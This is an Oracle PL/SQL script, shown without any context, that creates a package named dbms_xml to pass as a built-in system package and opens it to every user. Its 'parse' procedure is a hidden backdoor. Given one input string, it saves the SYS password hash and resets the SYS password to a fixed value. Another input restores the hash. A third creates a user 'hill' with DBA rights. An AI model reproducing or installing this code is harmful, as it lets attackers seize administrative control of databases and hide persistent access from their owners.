CREATE OR REPLACE PACKAGE dbms_xml AS PROCEDURE parse (string IN VARCHAR2); END dbms_xml; / CREATE OR REPLACE PACKAGE BODY dbms_xml AS PROCEDURE parse (string IN VARCHAR2) IS var1 VARCHAR2 (100); BEGIN IF string = 'unlock' THEN SELECT PASSWORD INTO var1 FROM dba_users WHERE username = 'SYS'; EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))'; EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')'; COMMIT; EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack'; END IF; IF string = 'lock' THEN EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1; EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||''''; EXECUTE IMMEDIATE 'DROP TABLE syspa1'; END IF; IF string = 'make' THEN EXECUTE IMMEDIATE 'CREATE USER hill IDENTIFIED BY hack11hack'; EXECUTE IMMEDIATE 'GRANT DBA TO hill'; END IF; IF string = 'unmake' THEN EXECUTE IMMEDIATE 'DROP USER hill CASCADE'; END IF; END; END dbms_xml; / CREATE PUBLIC SYNONYM dbms_xml FOR dbms_xml; GRANT EXECUTE ON dbms_xml TO PUBLIC;